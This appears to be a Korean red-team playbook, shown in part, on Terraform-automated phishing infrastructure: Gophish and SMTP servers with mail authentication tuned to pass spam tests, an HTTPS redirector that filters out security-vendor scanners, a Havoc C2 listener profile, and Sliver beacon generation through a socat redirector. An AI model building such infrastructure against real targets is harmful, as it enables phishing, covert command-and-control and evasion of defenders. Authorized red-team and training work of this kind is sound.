[ . . . ]

aws_instance.example: Creation complete after 33s [id=i-000a951587d55abe1]

Apply complete! Resources: 1 added, 0 changed, 0 destroyed.
```

인스턴스가 잘 생성된 것을 볼 수 있다.

SSH키를 지정해주지도 않았고, 보안 그룹 (방화벽) 설정을 해주지도 않았기 때문에 SSH 접근은 불가능하다. 그저 테라폼이 제대로 실행하는지, 엑세스 키는 잘 사용되는지, IAM 유저는 제대로된 권한을 가지고 있는지 확인하기 위한 실습이다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FcJOvY2XCZVGQvv8oRKyR%2Fterraform-success.PNG?alt=media&amp;token=056837b0-9c36-4c01-9bc4-b85d88881f04" alt=""><figcaption></figcaption></figure>

**구축한 인프라 폐기**

```
└─# terraform destroy 

[ . . . ] 
aws_instance.example: Destruction complete after 30s

Destroy complete! Resources: 1 destroyed.
```

다시 EC2 대시보드로 가면 아무 인스턴스도 없는 것을 확인할 수 있다.

## 마치며

이렇게 간단하게 테라폼과 AWS CLI를 설치한 뒤 설정해봤다. 지금은 프로바이더로 AWS 만 자동화 하고 있지만, 점차 나아가 Namecheap와 같은 도메인 레지스트라, Zoho / Mailgun / o365 등의 메일 프로바이더들과도 연동해 다양한 백엔드를 모두 자동화 시킬 수 있다.

## 레퍼런스&#x20;

* <https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli>&#x20;
* <https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html>&#x20;
* <https://aws.amazon.com/getting-started/guides/setup-environment/?nc1=h_ls>


# SMTP 테라폼 자동화

### 개요

이전 페이지( [SMTP Gophish + Mail](/infrastructure/smtp-do) )에서는 수동으로 메일 SMTP 서버와 고피시 서버를 설정했다. 회사 입장에서 레드팀 작전을 실행할 때마다 이런 인프라를 구축한다면 엄청난 시간 낭비일 것이다. 따라서 인프라 구축을 자동화 하기 위해서 테라폼 (Terraform)을 이용한 Infrastructure as Code (IaC)를 진행한다.

{% embed url="<https://github.com/ChoiSG/RTPSourceCodes/tree/main/iac/smtp-terraform>" %}

테라폼 스크립트를 이용하면 짧은 시간내에 디지털오션에 다음과 같은 리소스들을 자동으로 생성할 수 있다.

1. 메일 서버 (SMTP)
2. 고피시 서버 (Gophish)
3. DNS 레코드 - A, MX, rDNS
4. 이메일 관련 DNS 레코드 - SPF, DKIM, DMARC

### 구성

테라폼 구성은 여러개의 작은 `.tf` 스크립트로 이뤄져있다. 각 스크립트들은 디지털오션(Digital Ocean - DO)의 특정한 리소스들을 만들어내고 상태(State)를 바꾼다. 예를 들어 `dns.tf` 는 DNS 레코드 및 SPF, DKIM, DMARC 설정을, `gophish.tf` 는 고피시 서버를 만든 뒤 고피시를 설치하는 등이다.

```
└─# ls -1  

configs
dns.tf
gophish.tf
init.tf
mail.tf
outputs.tf
project.tf
provider.tf
README.md
variables.tf
```

### 사용법

본격적으로 테라폼을 사용하기 전 현 운영체제에 테라폼을 설치한다.

* <https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli>

아래의 사전 준비를 끝낸 뒤 테라폼을 실행한다.

1. 도메인 레지스트라를 이용해 도메인을 구입한다.
2. 도메인의 네임 서버를 디지털오션 (혹은 다른 클라우드 서비스 프로바이더)의 네임 서버로 바꾼다.
3. 디지털오션의 토큰을 활성화한다.
4. SMTP 테라폼을 깃-클론 한 뒤, `variables.tf` 를 업데이트 하고, 테라폼을 실행한다.

```
// 깃 클론 및 variables.tf 업데이트
 
git clone https://github.com/ChoiSG/RTPSourceCodes.git
cd ./iac/smtp-terraform 
vim variables.tf 

// 테라폼 실행 

└─# terraform apply

null_resource.delete_previous_build_file: Creating...
null_resource.delete_previous_build_file: Provisioning with 'local-exec'...
null_resource.delete_previous_build_file (local-exec): Executing: ["/bin/sh" "-c" "rm -f dkim_output.txt"]
null_resource.delete_previous_build_file: Creation complete after 0s [id=353568763928876350]
digitalocean_domain.default: Creating...
digitalocean_ssh_key.default: Creating...
digitalocean_ssh_key.default: Creation complete after 0s [id=37960483]
digitalocean_droplet.gophish: Creating...

< ... 7~8분 ... > 

Apply complete! Resources: 13 added, 0 changed, 0 destroyed.

Outputs:

dkim_output = <sensitive>
outputs = <<EOT
  // INFRA 
  phishing - mail.koreambtihealth.com - 68.183.113.236
  phishing - login.koreambtihealth.com - 142.93.119.252

  // MISC 
  Gophish rid changed to: clientID

  // TODOs 
  1. Start gophish with: 
  ssh -i /root/rtp/tftesto root@142.93.119.252 -L 3333:127.0.0.1:3333

EOT

```

총 13개의 리소스들이 생성됐다는 것을 알려주며 각 서버들의 아이피주소 및 다음의 할 일들을 보여준다. 이제 고피시 서버에 들어간 뒤 고피시를 실행하기만 하면 된다.

### 결과물

테라폼이 끝나면 디지털오션에 서버들과 DNS 레코드가 생성된 것을 확인할 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-03264d08ba11cfb0e86f4ee0f5653810e7a01ff2%2Ftf1.PNG?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-b561ad961a0a3cf3d7693625e03a24541a6cd69b%2Ftf2.PNG?alt=media" alt=""><figcaption></figcaption></figure>

또한, 고피시를 설정한 뒤 이메일 테스트를 하면 10/10 만점으로 통과할 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8b123848fc985a35c9e699be988767be57a9cda7%2Ftf3.PNG?alt=media" alt=""><figcaption></figcaption></figure>

만약 DKIM이 제대로 설정되지 않아서 8.5\~9.0 사이의 점수를 얻는다면 메일 서버에 접속해 `systemctl restart opendkim.service` 와 `systemctl restart postfix.service` 를 하고, 10분 정도 기다린 뒤 다시 이메일 테스트를 진행한다. 원래 DKIM 자체가 시간이 좀 걸리는 편이다.

### 마치며

테라폼과 Infrastructure as Code는 레드팀 인프라 구축에서 매우 중요하다. 지금은 간단한 SMTP + 고피시 서버지만 앞으로 Evilginx2, C2 서버, HTTP 리다이렉터, 페이로드 배포 서버 등, 더 많은 리소스들을 IaC로 구축할 수 있을 것이다.

### 레퍼런스

* <https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform>
* <https://github.dev/b1gbroth3r/red-team-infrastructure-example>
* <https://github.dev/ralphte/build\\_a\\_phish>
* <https://lifars.com/wp-content/uploads/2021/05/PHISHING-INFRASTRUCTURE.pdf>
* <https://mailtrap.io/>
* <https://notes.offsec-journey.com/resource-development/infrastructure-1>
* <https://outpost24.com/blog/Better-proxy-than-story>


# HTTPS 리다이렉터 자동화 (AWS)

## 개요

이전 HTTPS 리다이렉터 페이지에서는 수동으로 HTTPS 리다이렉터를 설정했다. 인프라 구축을 자동화 하기 위해서 테라폼을 이용한 Infrastructure as Code (IaC) 를 진행한다.

{% embed url="<https://github.com/ChoiSG/RTPSourceCodes/tree/main/iac/https-terraform>" %}

위 테라폼 스크립트를 실행하면 AWS에 다음과 같은 인프라를 구축한다.

1. HTTPS 리다이렉터 서버와 다른 레드팀 서버들이 들어갈 VPC, Subnet, Internet Gateway, Routing Table
2. Nginx 설정이 모두 끝난 리다이렉터 서버 EC2 인스턴스
3. 리다이렉터 서버와 관련된 DNS A 레코드

구축되는 리다이렉터 서버는 다음과 같은 설정이 되어 있다.

1. 보안 업체, 위협 인텔리전스 업체, 인터넷 스캐너와 관련되어 있는 IP주소들을 블랙리스트 처리한다.
2. 특정 User Agent 만 화이트리스트 처리한다. curl, python, 스캐너들의 유저 에이전트는 모두 무시한다.
3. C2 서버의 에이전트가 아닌, "나쁜 트래픽"은 모두 `www.notion.so` 로 301 리다이렉션 처리된다.

## 사전 준비

위 테라폼 스크립트를 사용하기 위해서는 다음과 같은 사전 준비를 해야한다.

1. 테라폼을 사용하기 위한 설정 - 이전 페이지 참고 (<https://www.레드팀.com/infrastructure/infra-automation/terraform>)
2. AWS Route53 로 가서 도메인 등록 후 Zone ID 받아오기&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FUoLpF7EaAZY5DVOpmZ0Q%2Fhttps-redirector-terraform-1.PNG?alt=media&amp;token=28109b04-b537-4f81-94c6-1922a54a0258" alt=""><figcaption></figcaption></figure>

3. 도메인을 구입한 도메인 레지스트라(Namecheap, GoDaddy, ...)에서 AWS의 네임서버 업데이트&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FFtlfJa6Qc4TDWZekv9nq%2Fhttps-redirector-terraform-2.PNG?alt=media&amp;token=5c521972-6569-4779-8862-84c4c525ca21" alt=""><figcaption></figcaption></figure>

3. `variables.tf` 를 본인이 원하는 값들로 업데이트

만약 3번에서 사용할 SSH 키가 없다면 다음 명령어로 만들어주자.

```
ssh-keygen -f rsa -b 2048 -f terraformssh -q -N ""
```

사전 준비가 많아보이지만 사실 0번과 4번은 인프라 구축을 하는 사람이라면 이미 다 준비되어 있는 부분이다. 따라서 사실상 사전 준비는 1) AWS Route53 호스팅 영역 생성 + Zone ID 받아오기 + 네임서버 업데이트 2) variables.tf 업데이트 밖에 없다.

## 실습

테라폼 스크립트를 실행해보면 다음과 같은 출력이 나온다.

```
└─# terraform init
└─# terraform plan
└─# terraform apply

[ . . . ]

Apply complete! Resources: 10 added, 0 changed, 0 destroyed.

Outputs:

outputs = <<EOT
  
  << HTTP Redirector Created >> 

  [+] VPC created           = vpc-080595e6981db6853
  [+] Subnet created        = subnet-0670c640e73a5d76b
  [+] HTTP Redirector DNS   = blog.grootbaon.com 
  [+] HTTP Redirector IP    = 54.198.134.47
  [+] SSL Fullchain.pem     = ./fullchain.pem
  [+] SSL privkey.pem       = ./privkey.pem
  [+] Allowlist User Agent  = Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
  [+] Allowlist IP          = <REDACTED>/32

  [+] Run the following SSH command for SSH Remote Port Forwarding: 
    
    ssh -i ./groot-redteam ubuntu@blog.grootbaon.com -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:443
```

생성된 VPC, 서브넷, DNS 레코드, 아이피주소, TLS/SSL 인증서 파일 이름, 그리고 리다이렉팅을 위한 SSH Remote Port Forwarding 명령어까지 자동으로 나온다.

먼저 SSH 리모트 포트 포워딩을 진행한다.

```
ssh -i <ssh-priv-key> ubuntu@<redirector> -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:443
```

사용할 C2 프레임워크에서 테라폼이 생성한 TLS/SSL 인증서 파일을 지정해준다. 다음의 예시는 Havoc Framework 의 `havoc.yaotl` 가변적 C2 프로필 파일을 변형한 것이다.

* 맨 아래의 `Cert` 블럭을 보면 테라폼이 생성한 `fullchain.pem` 과 `privkey.pem` 파일을 설정했다.
* `Hosts`는 리다이렉터 서버의 DNS FQDN (`blog.grootbaon.com`)를 사용했다.
* `HostBind`는 SSH Remote Port Forwarding을 하기 때문에 꼭 `0.0.0.0` 으로 지정한다.
* `UserAgent`는 테라폼의 `variables.tf` 에 있는 화이트리스트 된 유저 에이전트를 사용한다.

<details>

<summary>havoc.yaotl</summary>

```
Teamserver {
	Host = "0.0.0.0"
	Port = 40056

	Build {
	    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
	    Nasm = "/usr/bin/nasm"
	}
}

Operators {
	user "choi" {
		Password = "password1234"
	}
}

# this is optional. if you dont use it you can remove it.
Service {
    Endpoint = "service-endpoint"
    Password = "service-password"
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["blog.grootbaon.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
        Uris         = [
            "/redteamplaybook.gif",
            "/index.php",
            "/grootsecurity.txt",
            "/index.js"
        ]
        Headers      = [
            "X-RTP-Version: Prod",
            "X-HTTP-Client: true",
        ]

        Response {
            Headers  = [
                "Content-type: text/plain",
                "X-Powered-By: ASP.NET",
            ]
        }

        Cert {
            Cert = "/root/youtube/grootredteam/fullchain.pem"
            Key = "/root/youtube/grootredteam/privkey.pem"
        }
    }
}
```

</details>

리스너를 생성한 뒤 Attack > Payload로 가서 에이전트를 만든 뒤 실행하면 다음과 같은 콜백이 이뤄진다. DNS 요청으로 리다이렉터 서버의 IP 주소를 알아낸 뒤, 해당 IP로 HTTPS 트래픽을 보내고 있다.&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FA1NbiY8Bh1RiAEQZTZmv%2Fhttps-redirector-terraform-3.PNG?alt=media&amp;token=c30afa16-91da-4dbf-85bf-163587e3875d" alt=""><figcaption></figcaption></figure>

그리고 성공적으로 리다이렉터 서버를 거쳐서 콜백이 된 것을 볼 수 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FpnwY0uigY29A7ZrdQTIE%2Fhttps-redirector-terraform-4.PNG?alt=media&amp;token=863998e7-2212-493c-9bb1-657710b01b55" alt=""><figcaption></figcaption></figure>

블루팀의 입장에서 해당 서버를 방문해보자. 화이트리스트 되지 않은 일반적인 curl, python, 인터넷 브라우저로 해당 리다이렉터 서버를 방문하면 다른 웹사이트로 301 리다이렉팅 되는 것을 볼 수 있다.

```
└─# curl https://blog.grootbaon.com 
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
```

하지만 화이트리스트 된 유저 에이전트로 방문하면 제대로된 컨텐츠를 출력한다. 물론, 이중에서도 또 하복 프레임워크와 통신이 이어지려면 다양한 암호화키를 알아내야 할 것이고, 이는 매우 어렵다.

```
└─# curl -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36' https://blog.grootbaon.com

<!DOCTYPE html>
<html>
[ . . . ] 
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
```

실습이 모두 끝난 뒤 생성한 모든 리소스들을 폐기하려면 다음의 명령어를 이용한다.&#x20;

```
terraform destroy 
```

## 마치며

수동으로 인프라를 구축하는 것보다 훨씬 더 간편하고 작전보안적으로도 안전한 테라폼 스크립트를 만들어봤다. 이번 테라폼은 HTTPS 리다이렉터 1개만 설치하는 아주 간단한 스크립트지만, 추후 SMTP 서버나 페이로드 다운로드 서버 등까지 합쳐서 전반적인 레드팀 인프라를 Infrastructure as Code 로만 만들어낼 수 있을 것이다.


# old-네뷸라를 이용한 인프라 구축


# 도메인과 리다이렉터 설정

팀 서버, 네뷸라, 그리고 클라우드가 설정됐으니 이제 도메인과 리다이렉터를 설정해주자. 먼저 구입한 도메인에서 A 레코드를 만들고, 서브도메인을 만들어준다. 이 서브도메인은 리다이렉터 서버를 가르킬 것이며, 동시에 C2 프레임워크 리스너의 도착 URL이 될것이다.

아래의 예시는 A 레코드에 info 라는 서브 도메인을 만든 뒤, 그 서브 도메인을 리다이렉터 서버의 공인 아이피주소를 가르키고 있다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-18fd65f8f9a3220d0970dd3ba788b9d2f47f6dfc%2Fadding-a-record.png?alt=media)

레코드를 생성 후 조금 기다려본다. 그 뒤 `info.<도메인>`을 DNS 요청해보면 리다이렉터의 아이피가 반환될것이다.

```
┌──(root㉿kali)-[/opt]
└─# nslookup
> info.koreambtihealth.com
Server:         192.168.40.2
Address:        192.168.40.2#53

Non-authoritative answer:
Name:   info.koreambtihealth.com
Address: <리다이렉터-주소> 
> 
```

### TLS와 HTTPS

작전보안을 위해서 비컨과 C2 프레임워크, 그리고 리다이렉터는 모두 HTTPS로 소통할 것이다. 그러기 위해선 서버측에서 TLS 인증서가 필요하다. 도메인을 구입하고 DNS 설정이 모두 끝났으니 `certbot` 을 통해 TLS 인증서를 발급받자.

먼저 certbot을 설치한다.

```
sudo apt update -y 
sudo apt install certbot -y 
```

이후, 포트 80이 닫혀있는지 확인한다. 아마도 전에 실행중이던 socat이 계속 실행중일 것이기 때문에 `ps faux` 등으로 PID를 찾아낸 뒤 프로세스를 죽인다.

```
netstat -tulpna | grep -i 80 
ps faux 
sudo kill -9 <socat-pid>
```

이후 AWS로가 인바운드 HTTP 트래픽이 가능하도록 Security Group을 수정한다. EC2 > Security Groups > (Security Group ID) > Edit Inbound Rule > Allow TCP/80 from Anywhere IPv4 를 해주면 된다.

이후 certbot으로 TLS 인증서를 생성한다.

```
ubuntu@redirector01:~$ sudo certbot certonly --standalone 

Saving debug log to /var/log/letsencrypt/letsencrypt.log
Please enter the domain name(s) you would like on your certificate (comma and/or
space separated) (Enter 'c' to cancel): info.koreambtihealth.com
Requesting a certificate for info.koreambtihealth.com

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/info.koreambtihealth.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/info.koreambtihealth.com/privkey.pem

< ... > 

ubuntu@redirector01:~$ 
```

인증서 파일들의 권한을 바꾼 뒤, 팀 서버로 SCP를 이용해 가져온다. 이후, 리다이렉터 서버에서는 인증서 파일을 삭제한다.

```
# 리다이렉터 서버 
sudo cp /etc/letsencrypt/live/info.koreambtihealth.com/fullchain.pem .
sudo cp /etc/letsencrypt/live/info.koreambtihealth.com/privkey.key .
sudo chown ubuntu:ubuntu fullchain.pem
sudo chown ubuntu:ubuntu privkey.key  

# 칼리 리눅스 팀 서버 
┌──(root㉿kali)-[~/redteam/certbot]
└─# scp -i /root/redteam/sshkeys/aws-redirector-ssh ubuntu@redirector:/home/ubuntu/fullchain.pem . 
fullchain.pem  
                                                                                              
┌──(root㉿kali)-[~/redteam/certbot]
└─# scp -i /root/redteam/sshkeys/aws-redirector-ssh ubuntu@redirector:/home/ubuntu/privkey.pem . 
privkey.pem 
```

인증서 발급이 끝났다면 다시 AWS로 가 인바운드 HTTP 트래픽과 관련된 Security Group을 바꿔준다. 실제 레드팀 작전에서 리다이렉트 서버의 80/443 포트에 접속할 호스트/프로세스들은 타겟 호스트를 감염시킨 레드팀의 비컨 프로세스 밖에 없다. 따라서, 타겟 공간의 IP주소들을 먼저 OSINT 등으로 확인한 뒤 그 IP주소들에서만 트래픽을 받도록 화이트리스트 하면 된다.

이 튜토리얼의 경우 공격자와 타겟 공간은 모두 본인 호스트의 VMWare Workstation이다. 따라서 본인의 집 아이피 주소만 인바운드 HTTP 80/443 화이트리스트 한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-62214b76f6d62d0012c783a8e9c0d048fc69064c%2Fredirector-final-aws-firewall.png?alt=media)

마지막으로 리다이렉터 서버에 socat 을 구축해 443 포트로 들어오는 모든 트래픽을 팀 서버로 redirect 시킨다.

```
sudo socat tcp-listen:443,reuseaddr,fork,bind=0.0.0.0 tcp:192.168.100.2:443
```

이제 슬리버 C2 서버와 비컨을 이용해 실제로 리다이렉트가 성공적으로 이뤄지는지 알아본다.

먼저 앞서 생성했던 certbot의 TLS 인증서들을 이용해 HTTPS 리스너를 생성한다.

```
https --cert /root/redteam/certbot/fullchain.pem --key /root/redteam/certbot/privkey.pem
```

이후 에이전트를 만든다.

```
generate --http https://info.koreambtihealth.com -s /root/redteam/hosting
```

타겟 호스트에 에이전트를 옮긴 뒤, 실행한다. 콜백이 리다이렉터를 지나 팀 서버까지 성공적으로 이뤄졌는지 확인한다.

```
[*] Session 00f9b25d ROYAL_LIER - 192.168.100.3:37726 (wkstn01) - windows/amd64 - Tue, 07 Jun 2022 21:54:44 EDT

sliver > sessions

 ID         Transport   Remote Address         Hostname   Username                Operating System   Health  
========== =========== ====================== ========== ======================= ================== =========
 00f9b25d   http(s)     192.168.100.3:37726    wkstn01    WKSTN01\Administrator   windows/amd64      [ALIVE] 
```

슬리버의 세션을 확인해보면 재밌게도 Remote Access 가 피해자 호스트의 아이피주소가 아닌, 리다이렉터의 네뷸라 VPN 아이피주소인 `192.168.100.3` 인 것을 볼 수 있다. 이는 피해자 -> 리다이렉터 -> 팀 서버 형식으로 트래픽이 진행됐기 때문이다. 따라서 슬리버 C2의 입장에서는 어쨌든 비컨이 `192.168.100.3` 리다이렉터 서버에서 온 것 처럼 보이니, 그렇게 출력하는 것이다.


# 중립 공간 (클라우드) 설정

팀 서버와 도메인 구입/분류/신뢰도가 모두 끝났다면 리다이렉터와 네뷸라 등대서버를 클라우드에 구축한다.

이 페이지에서는 "중립 공간 - AWS" 에 있는 네뷸라 서버와 리다이렉터 서버를 구축해본다.

### 클라우드 설정

리다이렉터 서버를 올리기 전, 먼저 클라우드 관련된 설정을 진행한다. 이 글에서는 AWS를 이용하기 때문에 AWS 계정을 생성하고, 결제 방법을 설정한 뒤, 다중 인증(MFA)를 설정한다.

이후 클라우드 및 서버 접속에 사용할 SSH 공개키를 만든다. 이때 작전보안을 위해서 각 서버들마다 1개씩의 SSH key를 만든다. `aws-redirector-ssh` 키와 `aws-lighthouse-ssh` 키를 각각 리다이렉터 서버와 네뷸라 등대 서버를 위해 만든다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-73243c0fd0b171f25ab42ae527ef8b3bbb509dd5%2Fimage.png?alt=media)

### VPC 생성

VPC가 기본적으로 있다면 생략해도 되는 단계다. 나 같은 경우는 완전히 모든 리소스와 VPC를 제거한 뒤에 새롭게 설정한 계정이라 이 단계를 꼭 수행해야만 했다. VPC에 들어가서 현재 가지고 있는 CIDR 안에 다른 서브넷을 구축한다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-d62cb61c19065daca63a10d85b663f2fe40f357e%2Fimage.png?alt=media)

### 리다이렉터 서버 구축

SSH 키가 등록됐다면 EC2 화면으로가 새로운 EC2 인스턴스를 2개 생성한다. 이름을 집어넣고, 키 페어와 인바운드 SSH 방화벽 설정을 해준다. 작전보안을 위해 본인이 사용하고 있는 공인 아이피에서"만" SSH가 되도록 설정한다.

* 이름 - redirector / lighthouse
* 머신 이미지 - Ubuntu 22.04 LTS, x64
* Key Pair - `aws-redirector-ssh`
* 서브넷 - 가지고 있는 서브넷
* Auto-Assign public IP - Enabled
* 방화벽 - Create Security Group, Allow SSH Traffic From - 내 공인 아이피주소/32

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-85b0855b403ed2944e59bf9d46a460821524e6b4%2Fimage.png?alt=media)

Security Group은 AWS의 가상 방화벽 룰들의 집합이라고 생각하면 된다. 내가 원하는 방화벽 룰 들을 하나의 집합 (Security Group)으로 만든 뒤, 이 Security Group을 특정 VPC안에 있는 서브넷 혹은 인스턴스들에게 적용할 수 있다.

위에서 EC2 인스턴스를 만들때 오퍼레이터(본인)의 공인 아이피주소에서만 SSH가 가능하도록 설정했었다. 하지만 Security Group 생성/삭제/설정도 연습해볼겸, 다시 새로운 방화벽 세팅을 만들어서 적용해보자. 먼저 EC2 -> Network & Security -> Security Groups 로 간다. 이후 `Create Security Group` 을 눌러 새로운 방화벽 설정을 만든다.

먼저 네뷸라 등대서버의 방화벽 설정을 만들어보자. 네뷸라 등대서버는

1. (인바운드) 오퍼레이터(본인)의 집 공인 아이피주소에서 SSH 접속이 가능해야하며
2. (인바운드) 모든 IPv4 에서 UDP/4242 포트로 접속이 가능해야한다. 그 이유는 네뷸라의 프로토콜이 사용하는 포트가 4242이기 때문이다. 제대로된 네뷸라 세팅이 되어있지 않으면 UDP/4242 포트로 그 어떤 트래픽을 보내도 무시당하기 때문에 인터넷에 포트 4242를 열어놔도 문제가 없다.
3. (아웃바운드) 아웃바운드는 아무런 방화벽을 설정하지 않아도 된다. Allow All Traffic으로 모두 열어놓자.

해당 시큐리티 그룹을 만들면 최종적으로는 이렇게 된다:

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-20bcfe20a404d06d9080efa8df956cb1358faa94%2Fcreate-lighthouse-security-group.png?alt=media)

이후 EC2 인스턴스 -> 등대 서버 인스턴스 오른쪽 클릭 -> Security -> Change Security Groups 로 가서 원래 있던 Security Group을 삭제하고, 위에서 만들었던 `lighthouse-ssh-nebula-security-group` 을 적용시켜준다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-4ad569ac767fe7cd54a1ad76d532d4cc41a95dc4%2Fimage.png?alt=media)

제대로 Security Group을 바꿨다면 등대 서버 인스턴스를 클릭했을 때 나오는 시큐리티 그룹이 바뀌어있을 것이다.

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-1f67967d841bd588252079fae016938688468496%2Fdone.png?alt=media)

이렇게 인프라 생성에 필요한 VPC, SSH Key pair, EC2 instances, 그리고 Security Group 까지 모두 설정을 끝냈다. 이 뒤에서는 실제로 네뷸라 등대 서버와 리다이렉터 서버로 접속해 네뷸라를 설치해보자.


# 네뷸라 (Nebula)

### 네뷸라

네뷸라는 Mesh-topology 형태의 VPN으로서, 각기 다른 지역과 클라우드 플랫폼에 배포된 수천, 수만대의 호스트들을 하나의 같은 네트워크안에서 관리하게끔 해주는 네트워킹 툴이다.

레드팀 인프라를 구축할 때 어떤 문제가 생기는지, 그리고 네뷸라가 이 문제를 어떻게 해결해주는지에 대해서 알아본다.

### 문제

레드팀 작전을 수행하면서 수 많은 서버들을 실시간으로 만들고 없애는데, 항상 같은 네트워크안에서 모든 호스트들을 연결하고 관리할 수 있는 방법이 없을까?

다양한 지역 (클라우드 플랫폼, 데이터 센터, 온-프레미스, 클라우드 region)에 흩어져 있는 호스트들을 모두 연결하고 관리하고 싶은데, 어떤 방법이 없을까?

VPN을 사용하면 된다! 는 절반 정도 맞는 정답이다. 전통적인 VPN은 다음과 같은 문제점이 있다:

![https://theorangeone.net/posts/nebula-intro/ - 전통적인 VPN](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-0c7cb7ba544a75459475f729812b4941a861bbed%2F%EC%A0%84%ED%86%B5%EC%A0%81%EC%9D%B8%20vpn.drawio.png?alt=media)

* 전통적인 VPN은 중앙 서버가 VPN 관리를 담당하는 스타 토폴로지 (Star-Topology) 형태다. 모든 노드들이 중앙 서버를 거쳐야 하기 때문에 이 중앙 서버에 많은 트래픽이 가중된다. 또한, 노드들이 다양한 지역에 분포될수록 속도가 느려진다. 예를 들어 AWS의 US-East-2 리전과 navercloud의 KR-1 리전에서, GCP에 있는 Central-EU-1 중앙서버를 이용해서 서로 소통을 하려면 속도가 꽤나 느릴 것이다.
* 보안적인 측면에서 중앙 VPN 서버가 장악/노출/잘못 설정될 경우 단일 장애점(Single Point of Failure)이 생길 수 있다.

### 해결

![https://theorangeone.net/posts/nebula-intro/ - 네뷸라의 Mesh-Topology VPN](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-8d0b0fec0da04295fabeccb58f5a9e650223cef2%2F%EB%84%A4%EB%B7%B8%EB%9D%BC%20mesh.drawio.png?alt=media)

이 문제를 해결하기 위해 Slack 사에서 네뷸라(Nebula)라는 툴을 만들었다. 리눅스, 맥, 윈도우에서 모두 작동하며, 네뷸라를 사용할 경우 호스트들은 어떤 지역 (물리적 지역, 데이터 센터, 온-프레미스, 클라우드) 및 어떤 클라우드 플랫폼 (aws, azure, gcp, etc.)을 사용하던간에 서로 소통할 수 있는 Mesh-Topology VPN 네트워크를 형성한다.

